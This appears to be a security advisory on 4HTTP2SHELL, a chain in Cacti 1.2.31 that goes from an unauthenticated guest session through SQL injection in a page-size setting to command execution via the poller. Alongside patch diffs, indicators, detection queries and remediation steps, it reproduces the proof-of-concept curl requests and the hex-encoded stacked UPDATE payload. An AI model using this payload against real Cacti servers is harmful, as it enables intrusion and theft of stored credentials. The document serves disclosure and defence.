critical

CVE

Not assigned

CWE

CWE-89, CWE-20, CWE-78

Affected Surface

  • Cacti 1.2.31 and earlier with a guest user configured (Console > Configuration > Settings > Authentication > Guest User): unauthenticated command execution through the public 4HTTP2SHELL chain
  • Cacti 1.2.31 and earlier without guest access: any logged-in user with the default Normal User realms (View Graphs and Update Profile) can run the same SQL injection and take over the admin account (GHSA-5x85-g4vc-gq53)
  • Fixed on the 1.2.31 maintenance branch (`8910e2aa42bf`), 1.2.x (`49fd19b5eb81`) and develop (`e23470d81722`); no 1.2.32 release on 29 November 2026

TL;DR

4HTTP2SHELL is an exploit chain for Cacti, the open-source network monitoring and graphing tool. A researcher who goes by ek0ms savi0r published it on GitHub on 26 November 2026 with a write-up, a shell script and a video, without telling the Cacti project first. It runs commands on Cacti 1.2.31, the current release, in four HTTP requests and without credentials, as long as the guest account is enabled. The chain was first called 4HTTP2ROOT. The researcher’s lab ran Cacti as root, but on a normal install the commands run as the web server or poller user.

There are four steps. The guest saves a string full of SQL into preview_graphs_per_page, a per-user setting that should be a number. Cacti uses that stored value as the default page size on the graph preview page and pastes it into a LIMIT clause, and the database driver runs the stacked UPDATE that follows. The UPDATE rewrites a row in poller_item. Then the guest asks for a realtime graph, and Cacti passes that row’s arg1 column to popen().

A second researcher, Md. Amdadul Bari Imad, had already reported the SQL injection to Cacti privately on 19 November. The maintainers merged fixes for every active branch on 28 November and published the advisory as GHSA-5x85-g4vc-gq53 early on 29 November. The advisory scores the logged-in variant CVSS 8.8, since without guest access an attacker needs an account. No CVE had been assigned by 29 November, and the fixed release, 1.2.32, hadn’t shipped. Previdian logged 22 time-based SQL injection probes against its Cacti honeypots on 27 November, but nobody has confirmed a successful attack. The chain isn’t in CISA KEV.

As the researcher points out, a Cacti server holds SNMP communities, device logins and database credentials, and it can often reach management networks that other hosts can’t. A shell on one is a good starting point for an attacker.

What to do now:

  1. Turn off guest access: Console > Configuration > Settings > Authentication > Guest User set to No User. That blocks the unauthenticated chain.
  2. Apply the maintenance patch for 1.2.31 (commit 8910e2aa42bf) or move to 1.2.32 when it ships. Without the patch, any account with the default Normal User realms can still run the SQL injection.
  3. Check settings_user for non-numeric values in numeric preferences and poller_item for script items with unexpected commands. The queries are below.
  4. Keep the Cacti web interface off the internet. Put it behind a VPN or an allowlist.

Affected packages and projects

EcosystemPackageAffected versionsFixed or safe version
Cacti (GitHub Cacti/cacti)Cacti core, guest account enabled1.2.31 confirmed by the researcher and Previdian; the advisory lists <= 1.2.311.2.31 + commit 8910e2aa42bf, or 1.2.32 (not released on 29 November)
Cacti (GitHub Cacti/cacti)Cacti core, Normal User accounts (GHSA-5x85-g4vc-gq53)<= 1.2.31Same as above
Cacti (GitHub Cacti/cacti)1.2.x branchBefore 49fd19b5eb8149fd19b5eb81 (PR #9014)
Cacti (GitHub Cacti/cacti)develop (1.3.0)Before e23470d81722e23470d81722 (PR #9015)

The guest account has been off by default since Cacti 0.8.7, so the unauthenticated version needs an admin to have turned it on. watchTowr still called guest access “a common config”.

On the same night, Cacti also published six older advisories, with CVEs, for bugs that were already fixed in 1.2.31. If you’re still on 1.2.30 or earlier, these apply too. The worst is CVE-2026-39949 (GHSA-8522-5p3m-754c), an authenticated RCE through host variable injection rated 7.2. The rest are a reports IDOR (CVE-2026-40081), an ORDER BY SQL injection (CVE-2026-40078), an information disclosure through an authentication bypass (CVE-2026-22802), a stored XSS (CVE-2026-46530) and an open redirect (CVE-2026-44481).

Technical analysis

GHSA-5x85-g4vc-gq53 walks through the code path, and the researcher’s write-up adds the poller step.

Request 1: get a guest session

Loading auth_profile.php with no credentials gives a visitor the guest user’s session cookie and a CSRF token:

curl -s -c "$J" -b "$J" "$C/auth_profile.php?tab=general&header=false" -o /tmp/cacti_guest.html

Request 2: store SQL as a page size

The profile page has an AJAX action, update_data, that saves one setting at a time. In auth_profile.php it takes the name and value straight from the request:

case 'update_data':
    $name  = get_nfilter_request_var('name');
    $value = get_nfilter_request_var('value');
    ...
    api_auth_update_user_setting($name, $value);

api_auth_update_user_setting() only checks that the name is a known user setting:

foreach($settings_user as $tab => $settings) {
    if (isset($settings[$name])) {
        db_execute_prepared('REPLACE INTO settings_user (name, value, user_id) VALUES (?, ?, ?)', array($name, $value, $user));

The write is a prepared statement, so it’s safe on its own. The problem is what gets stored. The normal form path, save_user_settings(), resets non-numeric values of numeric settings to their defaults, but this AJAX path skips that step. It also skips the is_view_allowed('graph_settings') check that form_save() does. The researcher’s payload hex-encodes a shell command into an UPDATE:

CMD='id > /srv/cacti-lpe/pwn.txt; hostname >> /srv/cacti-lpe/pwn.txt'
HEX=$(CMD="$CMD" python3 -c 'import os; print(os.environ["CMD"].encode().hex())')

PAY="1;UPDATE poller_item SET host_id=1,action=1,arg1=0x$HEX WHERE local_data_id=1;-- "

curl -s -b "$J" -c "$J" \
  --data-urlencode "__csrf_magic=$TOK" \
  --data-urlencode "name=preview_graphs_per_page" \
  --data-urlencode "value=$PAY" \
  "$C/auth_profile.php?tab=general&action=update_data&header=false"
  • action=1 is POLLER_ACTION_SCRIPT, the poller item type that runs a script through popen().
  • arg1 is the command line for that script item.
  • Hex encoding keeps quotes and spaces out of the SQL.

Request 3: let the database run it

lib/html_graph.php defines the preview page’s graphs filter with the stored setting as its default:

'graphs' => array('filter' => FILTER_VALIDATE_INT, 'pageset' => true, 'default' => read_user_setting('preview_graphs_per_page', 20))

When the request doesn’t include graphs, validate_store_request_vars() in lib/html_utility.php calls set_request_var($variable, $options['default']). The FILTER_VALIDATE_INT filter only runs on values that come in with the request, so the stored default never gets checked. graph_view.php then builds the limit:

$limit = (get_request_var('graphs')*(get_request_var('page')-1)) . ',' . get_request_var('graphs');

PHP evaluates "1;UPDATE ..." * 0 as 0 and only logs a warning, so $limit becomes 0,1;UPDATE poller_item ...;-- . get_allowed_graphs() in lib/auth.php puts that straight into the query:

$sql_limit = "LIMIT $sql_limit";
...
$graphs = db_fetch_assoc("SELECT ... $sql_where $sql_order $sql_limit");

lib/database.php doesn’t set PDO::ATTR_EMULATE_PREPARES to false or PDO::MYSQL_ATTR_MULTI_STATEMENTS to false, so MySQL or MariaDB runs the second statement. The preview page renders normally.

Request 4: the realtime poller executes the row

The guest session can also reach graph_realtime.php?action=init. That starts poller_realtime.php, which runs cmd_realtime.php. For script items, cmd_realtime.php does this:

case POLLER_ACTION_SCRIPT: /* script (popen) */
    $output = trim(exec_poll($item['arg1']));

exec_poll() in lib/poller.php hands the string to the shell:

function exec_poll($command) {
    ...
    $fp = popen($command, 'r');

arg1 is now the attacker’s command, so it runs within the same request. The researcher’s demo wrote id and hostname output into a directory the web server then served back.

Each of the four requests looks like normal traffic: a guest session, a profile update, a preview page, a realtime graph. The only obvious trace is a PHP warning about a non-numeric value.

The fix

The 1.2.31 maintenance patch (8910e2aa42bf, PR #9013) works at three layers. First, auth_profile.php only accepts state-changing actions over POST and refuses them from the guest account:

-switch (get_request_var('action')) {
+$action = get_request_var('action');
+
+if (in_array($action, array('save', 'update_data', 'clear_user_settings', 'reset_default', 'logout_everywhere'), true)) {
+	if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
+		header('Allow: POST');
+		http_response_code(405);
+		exit;
+	}
+
+	if (!cacti_user_can_save_own_settings()) {
+		http_response_code(403);
+		exit;
+	}
+}
+
+switch ($action) {
-		} else {
+		} elseif ($name === 'enable_hscroll' || is_view_allowed('graph_settings')) {
 			foreach($settings_user as $tab => $settings) {
-				if (isset($settings[$name])) {
+				if (isset($settings[$name]) && cacti_user_setting_value_allowed($settings[$name], $value)) {

The new helpers in lib/functions.php define what “guest” and “allowed value” mean:

/* A guest session shares its account with other visitors. */
function cacti_user_can_save_own_settings() {
	return !empty($_SESSION['sess_user_id']) && (int) $_SESSION['sess_user_id'] !== (int) get_guest_account();
}

function cacti_user_setting_value_allowed($setting, $value) {
	...
	if (isset($setting['default']) && is_numeric($setting['default'])) {
		return is_numeric($value);
	}
	return true;
}
  • Settings with a numeric default now only accept numeric values, so 1;UPDATE ... gets rejected at write time.
  • Drop-down settings must match one of the offered options, and checkboxes must be '' or on.

Second, html_graph_normalize_filters() and cacti_graph_pagination() run page, graphs and columns through FILTER_VALIDATE_INT after the session and stored defaults have been applied. That covers bad values that were saved before the patch. Third, the 1.2.x commit 49fd19b5eb81 adds a lib/user_setting_validation.php schema check, blocks guest writes on the realtime endpoints too, checks is_graph_allowed() before graph_realtime.php runs the poller, and clamps the realtime interval before it reaches a shell command.

The poller still runs whatever command a script item holds. The patches stop this route for writing that row, but anyone who can write poller_item some other way can still run commands.

IOCs

No attacker infrastructure has been published. Previdian hasn’t released the source IP behind its 27 November probes. These artifacts come from the public PoC and the maintainers’ guidance:

  • Requests to auth_profile.php?action=update_data with name=preview_graphs_per_page and a value containing ;, UPDATE, poller_item or arg1=0x. The PoC sends them from a guest session. The patch makes this action POST-only, so look for GET requests too.
  • graph_view.php?action=preview from the same session shortly after, followed by graph_realtime.php?action=init&local_graph_id=....
  • Non-numeric values in the numeric settings_user preferences preview_graphs_per_page, treeview_graphs_per_page, realtime_interval, min_tree_width, max_tree_width and page_refresh.
  • poller_item rows with action = 1 whose arg1 isn’t one of your data input scripts.
  • PHP warnings about a non-numeric value in the Cacti log around preview page loads.
  • Files dropped into the Cacti web root. The PoC writes id and hostname output to a marker file.

Detection and remediation

Check whether guest access is on. An empty value or 0 means no guest user is set:

mysql cacti -e "SELECT value FROM settings WHERE name = 'guest_user';"

Look for stored payloads and tampered poller items:

-- Numeric preferences holding anything other than digits
SELECT user_id, name, value FROM settings_user
WHERE name IN ('preview_graphs_per_page','treeview_graphs_per_page','realtime_interval',
               'min_tree_width','max_tree_width','page_refresh')
  AND value NOT REGEXP '^[0-9]+$';

-- Script items: compare arg1 against the data input methods you expect
SELECT local_data_id, host_id, action, arg1 FROM poller_item
WHERE action = 1 ORDER BY local_data_id;

Search the web server and Cacti logs:

grep -E 'auth_profile\.php.*action=update_data' /var/log/apache2/access.log /var/log/nginx/access.log 2>/dev/null
grep -E 'graph_realtime\.php\?action=init' /var/log/apache2/access.log /var/log/nginx/access.log 2>/dev/null
grep -iE 'non-numeric|non well formed' /var/www/html/cacti/log/cacti.log 2>/dev/null | grep -i graph

Apply the patch to a 1.2.31 install, as the maintainers describe in the advisory. They recommend testing it in a lab first:

curl -fsSLO https://github.com/Cacti/cacti/commit/8910e2aa42bf30d313bdce91c562cb377f3442eb.patch
cd /path/to/cacti
patch -p1 < /path/to/8910e2aa42bf30d313bdce91c562cb377f3442eb.patch

Then:

  1. Set Guest User to No User, even after patching, unless you really need anonymous dashboards. If you do, give people an authenticated read-only account instead.
  2. Make sure the web server and poller don’t run as root. The researcher’s root shell came from a lab that did.
  3. Limit who has the Update Profile realm (realm 20) until you’re on a patched build.

Credentials to rotate if you find a payload in settings_user or an unexpected arg1: everything the Cacti server holds or can reach. That means SNMP community strings and SNMPv3 credentials, device logins stored in the Cacti database, the database password in include/config.php, SSH keys or service accounts used by pollers and scripts, and mail relay credentials. Check poller_item, the data input methods and the web root for anything the attacker left behind, and reset every Cacti user’s password.

Timeline

  • 2026-06-15: Cacti 1.2.31 released.
  • 2026-11-19: Md. Amdadul Bari Imad privately reports the profile-setting SQL injection to Cacti. It later becomes GHSA-5x85-g4vc-gq53.
  • 2026-11-25: The researcher creates the Sad-Girls-0day-Club repository on GitHub.
  • 2026-11-26: ek0ms savi0r publishes the 4HTTP2ROOT write-up (01:34 UTC), then the exploit script, transcript and video (17:19 UTC). Previdian starts tracking it.
  • 2026-11-27: Previdian records 22 time-based SQL injection attempts from one IP against its Cacti honeypots. The repository renames the chain 4HTTP2SHELL (02:29 UTC). watchTowr, BleepingComputer and The Hacker News report it. watchTowr says no exploitation in the wild has been reported to it.
  • 2026-11-28: Cacti merges PR #9013 into the 1.2.31 branch (00:24 UTC) and PR #9014 into 1.2.x (01:28 UTC), plus PR #9015 into develop. Sean Mancini of the Cacti team confirms the fix to BleepingComputer and The Hacker News.
  • 2026-11-29: Cacti publishes GHSA-5x85-g4vc-gq53 (00:32 UTC, CVSS 8.8, no CVE) and six older advisories for bugs fixed in 1.2.31 (01:32 UTC). Cacti 1.2.32 is still unreleased.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Use AI-native static analysis to find similar application vulnerabilities and generate review-ready fixes.

References